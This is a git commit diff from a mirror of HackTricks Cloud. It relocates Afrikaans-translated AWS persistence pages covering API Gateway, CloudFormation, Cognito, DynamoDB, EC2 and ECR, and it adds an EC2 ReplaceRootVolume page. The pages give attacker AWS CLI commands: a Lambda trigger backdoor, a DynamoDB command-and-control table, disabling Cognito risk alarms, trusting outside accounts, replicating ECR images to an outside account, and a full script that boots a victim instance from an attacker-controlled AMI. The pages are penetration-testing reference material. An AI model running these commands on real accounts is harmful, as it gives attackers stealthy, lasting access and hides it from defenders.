mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-p
This commit is contained in:
Translator
@@ -1,32 +0,0 @@
|
||||
# AWS - API Gateway Persistensie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Vir meer inligting, gaan na:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hulpbronbeleid
|
||||
|
||||
Wysig die hulpbronbeleid van die API gateway(s) om jouself toegang te gee tot hulle.
|
||||
|
||||
### Wysig Lambda Outeurs
|
||||
|
||||
Wysig die kode van lambda outeurs om jouself toegang te gee tot al die eindpunte.\
|
||||
Of verwyder net die gebruik van die outeur.
|
||||
|
||||
### IAM Toestemmings
|
||||
|
||||
As 'n hulpbron IAM outeur gebruik, kan jy jouself toegang gee deur IAM toestemmings te wysig.\
|
||||
Of verwyder net die gebruik van die outeur.
|
||||
|
||||
### API Sleutels
|
||||
|
||||
As API sleutels gebruik word, kan jy hulle lek om volharding te handhaaf of selfs nuwe te skep.\
|
||||
Of verwyder net die gebruik van API sleutels.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Wysig die resource policy van die API gateway(s) om jouself toegang daartoe te gee
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Wysig die kode van lambda authorizers om jouself toegang tot al die endpoints te gee.\
|
||||
Of verwyder net die gebruik van die authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
As 'n resource 'n IAM authorizer gebruik, kan jy jouself toegang gee deur IAM permissions aan te pas.\
|
||||
Of verwyder net die gebruik van die authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
As API keys gebruik word, kan jy hulle leak om persistence te behou of selfs nuwe te skep.\
|
||||
Of verwyder net die gebruik van API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Persistensie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Vir meer inligting, toegang:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stap
|
||||
|
||||
Die AWS CDK ontplooi 'n CFN-stap genoem `CDKToolkit`. Hierdie stap ondersteun 'n parameter `TrustedAccounts` wat eksterne rekeninge toelaat om CDK-projekte in die slagofferrekening te ontplooi. 'n Aanvaller kan dit misbruik om hulself onbepaalde toegang tot die slagofferrekening te verleen, hetsy deur die AWS cli te gebruik om die stap met parameters te herontplooi, of die AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Vir meer inligting, besoek:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
Die AWS CDK ontplooi 'n CFN stack genaamd `CDKToolkit`. Hierdie stack ondersteun 'n parameter `TrustedAccounts` wat externe rekeninge toelaat om CDK-projekte in die slagofferrekening te ontplooi. 'n Aanvaller kan dit misbruik om hulself onbepaalde toegang tot die slagofferrekening te verleen, hetsy deur die AWS cli te gebruik om die stack met parameters te herontplooi, of die AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Cognito Persistensie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Vir meer inligting, toegang:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Gebruiker persistensie
|
||||
|
||||
Cognito is 'n diens wat dit moontlik maak om rolle aan nie-geverifieerde en geverifieerde gebruikers toe te ken en om 'n gids van gebruikers te beheer. Verskeie verskillende konfigurasies kan verander word om 'n mate van persistensie te handhaaf, soos:
|
||||
|
||||
- **Voeg 'n Gebruiker Pool** wat deur die gebruiker beheer word, by 'n Identiteits Pool
|
||||
- Gee 'n **IAM rol aan 'n nie-geverifieerde Identiteits Pool en laat Basiese auth vloei toe**
|
||||
- Of aan 'n **geverifieerde Identiteits Pool** as die aanvaller kan aanmeld
|
||||
- Of **verbeter die toestemmings** van die gegewe rolle
|
||||
- **Skep, verifieer & privesc** via attributes wat deur gebruikers of nuwe gebruikers in 'n **Gebruiker Pool** beheer word
|
||||
- **Laat eksterne Identiteits Verskaffers** toe om in 'n Gebruiker Pool of in 'n Identiteits Pool aan te meld
|
||||
|
||||
Kyk hoe om hierdie aksies uit te voer in
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
'n Aanvaller met hierdie voorregte kan die risiko konfigurasie verander om as 'n Cognito gebruiker aan te meld **sonder dat alarms geaktiveer word**. [**Kyk na die cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) om al die opsies te kyk:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Standaard is dit gedeaktiveer:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - Cognito Persistensie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Vir meer inligting, besoek:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Gebruikerpersistensie
|
||||
|
||||
Cognito is 'n diens wat dit toelaat om rolle aan ongeverifieerde en geverifieerde gebruikers toe te ken en 'n gids van gebruikers te beheer. Verskeie verskillende konfigurasies kan verander word om 'n mate van persistensie te behou, soos:
|
||||
|
||||
- **Voeg 'n User Pool by** wat deur die gebruiker beheer word aan 'n Identity Pool
|
||||
- **Ken 'n IAM role aan 'n unauthenticated Identity Pool en staan Basic auth flow toe**
|
||||
- Of na 'n **authenticated Identity Pool** as die aanvaller kan login
|
||||
- Of **verbeter die permissions** van die gegewe rolle
|
||||
- **Create, verify & privesc** deur gebruikers wat deur attributes beheer word of deur nuwe gebruikers in 'n **User Pool**
|
||||
- **Sta external Identity Providers toe** om in 'n User Pool of in 'n Identity Pool te login
|
||||
|
||||
Sien hoe om hierdie aksies uit te voer in
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
'N aanvaller met hierdie reg kan die risk configuration wysig om as 'n Cognito-gebruiker te kan login **sonder dat alarms geaktiveer word**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) om al die opsies te kontroleer:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Standaard is dit gedeaktiveer:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,59 +0,0 @@
|
||||
# AWS - DynamoDB Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Vir meer inligting, toegang:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers met Lambda Agterdeur
|
||||
|
||||
Deur gebruik te maak van DynamoDB triggers, kan 'n aanvaller 'n **stealthy agterdeur** skep deur 'n kwaadwillige Lambda-funksie met 'n tabel te assosieer. Die Lambda-funksie kan geaktiveer word wanneer 'n item bygevoeg, gewysig of verwyder word, wat die aanvaller toelaat om arbitrêre kode binne die AWS-rekening uit te voer.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Om volharding te handhaaf, kan die aanvaller items in die DynamoDB-tabel skep of wysig, wat die kwaadwillige Lambda-funksie sal aktiveer. Dit stel die aanvaller in staat om kode binne die AWS-rekening uit te voer sonder direkte interaksie met die Lambda-funksie.
|
||||
|
||||
### DynamoDB as 'n C2-kanaal
|
||||
|
||||
'n Aanvaller kan 'n DynamoDB-tabel gebruik as 'n **opdrag en beheer (C2) kanaal** deur items te skep wat opdragte bevat en gecompromitteerde instansies of Lambda-funksies te gebruik om hierdie opdragte op te haal en uit te voer.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Die gecompromitteerde instansies of Lambda-funksies kan periodiek die C2-tabel vir nuwe opdragte nagaan, dit uitvoer, en opsioneel die resultate terug na die tabel rapporteer. Dit stel die aanvaller in staat om volharding en beheer oor die gecompromitteerde hulpbronne te handhaaf.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,59 @@
|
||||
# AWS - DynamoDB Persistensie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Vir meer inligting, besoek:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers met Lambda Backdoor
|
||||
|
||||
Deur DynamoDB triggers te gebruik, kan 'n aanvaller 'n **stealthy backdoor** skep deur 'n kwaadwillige Lambda function aan 'n tabel te koppel. Die Lambda function kan getrigger word wanneer 'n item bygevoeg, gewysig of verwyder word, waardeur die aanvaller willekeurige kode binne die AWS-account kan uitvoer.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Om persistence te behou, kan die aanvaller items in die DynamoDB-tabel skep of wysig, wat die kwaadwillige Lambda-funksie sal aktiveer. Dit stel die aanvaller in staat om kode binne die AWS-rekening uit te voer sonder direkte interaksie met die Lambda-funksie.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
'n aanvaller kan 'n DynamoDB-tabel gebruik as 'n **command and control (C2) channel** deur items te skep wat opdragte bevat en gekompromitteerde instansies of Lambda-funksies te gebruik om hierdie opdragte op te haal en uit te voer.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Die gekompromitteerde instansies of Lambda-funksies kan periodiek die C2-tabel vir nuwe opdragte nagaan, dit uitvoer en opsioneel die resultate terug aan die tabel rapporteer. Dit stel die aanvaller in staat om aanhoudende toegang en beheer oor die gekompromitteerde hulpbronne te behou.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,54 +0,0 @@
|
||||
# AWS - EC2 Persistensie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Sekuriteitsgroep Verbinding Volg Persistensie
|
||||
|
||||
As 'n verdediger vind dat 'n **EC2-instantie gecompromitteer is**, sal hy waarskynlik probeer om die **netwerk** van die masjien te **isoleer**. Hy kan dit doen met 'n eksplisiete **Deny NACL** (maar NACLs beïnvloed die hele subnet), of deur die **sekuriteitsgroep** te verander om **enige soort inkomende of uitgaande** verkeer te verbied.
|
||||
|
||||
As die aanvaller 'n **omgekeerde shell afkomstig van die masjien** gehad het, selfs al is die SG gewysig om inkomende of uitgaande verkeer te verbied, sal die **verbinding nie beëindig word nie** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Levensiklusbestuurder
|
||||
|
||||
Hierdie diens laat toe om die **skepping van AMIs en snapshots** te **skeduleer** en selfs om dit met ander rekeninge te **deel**.\
|
||||
'n Aanvaller kan die **generering van AMIs of snapshots** van al die beelde of al die volumes **elke week** skeduleer en dit **met sy rekening deel**.
|
||||
|
||||
### Geskeduleerde Instanties
|
||||
|
||||
Dit is moontlik om instanties te skeduleer om daagliks, weekliks of selfs maandeliks te loop. 'n Aanvaller kan 'n masjien met hoë voorregte of interessante toegang laat loop waar hy toegang kan verkry.
|
||||
|
||||
### Spot Vloot Versoek
|
||||
|
||||
Spot-instanties is **goedkoper** as gewone instanties. 'n Aanvaller kan 'n **klein spot vlootversoek vir 5 jaar** (byvoorbeeld) begin, met **outomatiese IP** toewysing en 'n **gebruikersdata** wat na die aanvaller stuur **wanneer die spot-instantie begin** en die **IP-adres** en met 'n **hoë voorregte IAM-rol**.
|
||||
|
||||
### Agterdeur Instanties
|
||||
|
||||
'n Aanvaller kan toegang tot die instanties verkry en dit agterdeur:
|
||||
|
||||
- Deur 'n tradisionele **rootkit** te gebruik
|
||||
- 'n Nuwe **publieke SSH-sleutel** by te voeg (kyk [EC2 privesc opsies](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Die **Gebruikersdata** agterdeur
|
||||
|
||||
### **Agterdeur Ontplooiing Konfigurasie**
|
||||
|
||||
- Agterdeur die gebruikte AMI
|
||||
- Agterdeur die Gebruikersdata
|
||||
- Agterdeur die Sleutel Paar
|
||||
|
||||
### VPN
|
||||
|
||||
Skep 'n VPN sodat die aanvaller direk deur dit na die VPC kan verbind.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Skep 'n peeringverbinding tussen die slagoffer VPC en die aanvaller VPC sodat hy toegang tot die slagoffer VPC kan verkry.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,61 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
As a defender ontdek dat 'n **EC2 instance was compromised**, sal hy waarskynlik probeer om die **network** van die masjien te **isolate**. Hy kan dit doen met 'n eksplisiete **Deny NACL** (maar NACLs beïnvloed die hele subnet), of deur **changing the security group** sodat dit **any kind of inbound or outbound** verkeer nie toelaat nie.
|
||||
|
||||
As an attacker 'n **reverse shell originated from the machine** gehad het, selfs al is die SG gewysig om inboud of outbound verkeer nie toe te laat nie, sal die **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Hierdie diens laat toe om die **schedule** van die **creation of AMIs and snapshots**, en selfs om dit te **share them with other accounts**. An attacker kan die **generation of AMIs or snapshots** van alle images of volumes op **every week** skeduleer en dit **share them with his account**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
Dit is moontlik om instances te schedule om daagliks, weekliks of selfs maandeliks te hardloop. An attacker kan 'n masjien met high privileges of interessante toegang draai wat hy kan benut.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances is **cheaper** as gewone instances. An attacker kan 'n **small spot fleet request for 5 year** (byvoorbeeld) loods, met **automatic IP** toekenning en 'n **user data** wat aan die attacker stuur **when the spot instance start** en die **IP address**, en met 'n **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker kan toegang tot die instances kry en hulle backdoor:
|
||||
|
||||
- Deur byvoorbeeld 'n tradisionele **rootkit** te gebruik
|
||||
- Voeg 'n nuwe **public SSH key** by (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Backdooring the **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Ruil die root EBS volume van 'n running instance uit vir een gebou vanaf 'n attacker-controlled AMI of snapshot met behulp van `CreateReplaceRootVolumeTask`. Die instance behou sy ENIs, IPs, en role, en boot effektief in kwaadwillige kode terwyl dit onveranderd voorkom.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Skep 'n VPN sodat die attacker direk na die VPC kan verbind.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Skep 'n peering connection tussen die victim VPC en die attacker VPC sodat hy toegang tot die victim VPC kan kry.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik **ec2:CreateReplaceRootVolumeTask** om die root EBS-volume van 'n lopende instansie te vervang met een wat uit 'n deur die aanvaller beheerde AMI of snapshot herstel is. Die instansie word outomaties herbegin en hervat met die deur die aanvaller beheerde root-lêerstelsel, terwyl ENIs, private/public IPs, aangehegte nie-root-volumes, en die instansie se metadata/IAM role behoue bly.
|
||||
|
||||
## Vereistes
|
||||
- Teiken-instansie is EBS-backed en lopend in dieselfde streek.
|
||||
- Kompatibele AMI of snapshot: dieselfde argitektuur/virtualisering/boot-modus (en produk-kodes, indien enige) as die teiken-instansie.
|
||||
|
||||
## Voorafkontroles
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## Vervang root vanaf AMI (verkieslik)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Alternatief deur 'n snapshot te gebruik:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Bewyse / Verifikasie
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Verwag: ENI_ID en PRI_IP bly dieselfde; die root volume ID verander van $ORIG_VOL na $NEW_VOL. Die stelsel boot met die lêerstelsel van die attacker-controlled AMI/snapshot.
|
||||
|
||||
## Notas
|
||||
- Die API vereis nie dat jy die instansie handmatig stop nie; EC2 orkestreer 'n herbegin.
|
||||
- Standaard word die vervangde (ou) root EBS-volume losgemaak en in die rekening gelaat (DeleteReplacedRootVolume=false). Dit kan vir rollback gebruik word of moet verwyder word om koste te vermy.
|
||||
|
||||
## Rollback / Opruiming
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - ECR Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Versteekte Docker Beeld met Kwaadwillige Kode
|
||||
|
||||
'n Aanvaller kan **'n Docker beeld wat kwaadwillige kode bevat** na 'n ECR-bewaarplek oplaai en dit gebruik om volharding in die teiken AWS-rekening te handhaaf. Die aanvaller kan dan die kwaadwillige beeld na verskeie dienste binne die rekening ontplooi, soos Amazon ECS of EKS, op 'n stil manier.
|
||||
|
||||
### Bewaarplek Beleid
|
||||
|
||||
Voeg 'n beleid by 'n enkele bewaarplek wat jouself (of almal) toegang tot 'n bewaarplek gee:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Let daarop dat ECR vereis dat gebruikers **toestemming** het om oproepe na die **`ecr:GetAuthorizationToken`** API te maak deur 'n IAM-beleid **voordat hulle kan autentiseer** by 'n registrasie en enige beelde van enige Amazon ECR-bewaarplek kan stoot of trek.
|
||||
|
||||
### Registrasiebeleid & Kruisrekening Replikaasje
|
||||
|
||||
Dit is moontlik om 'n registrasie in 'n eksterne rekening outomaties te repliseer deur kruisrekening replikaasie te konfigureer, waar jy die **eksterne rekening** moet **aandui** waar jy die registrasie wil repliseer.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eerstens, moet jy die eksterne rekening toegang gee oor die registrasie met 'n **registrasiebeleid** soos:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Dan pas die replikaasiekonfigurasie toe:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,145 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
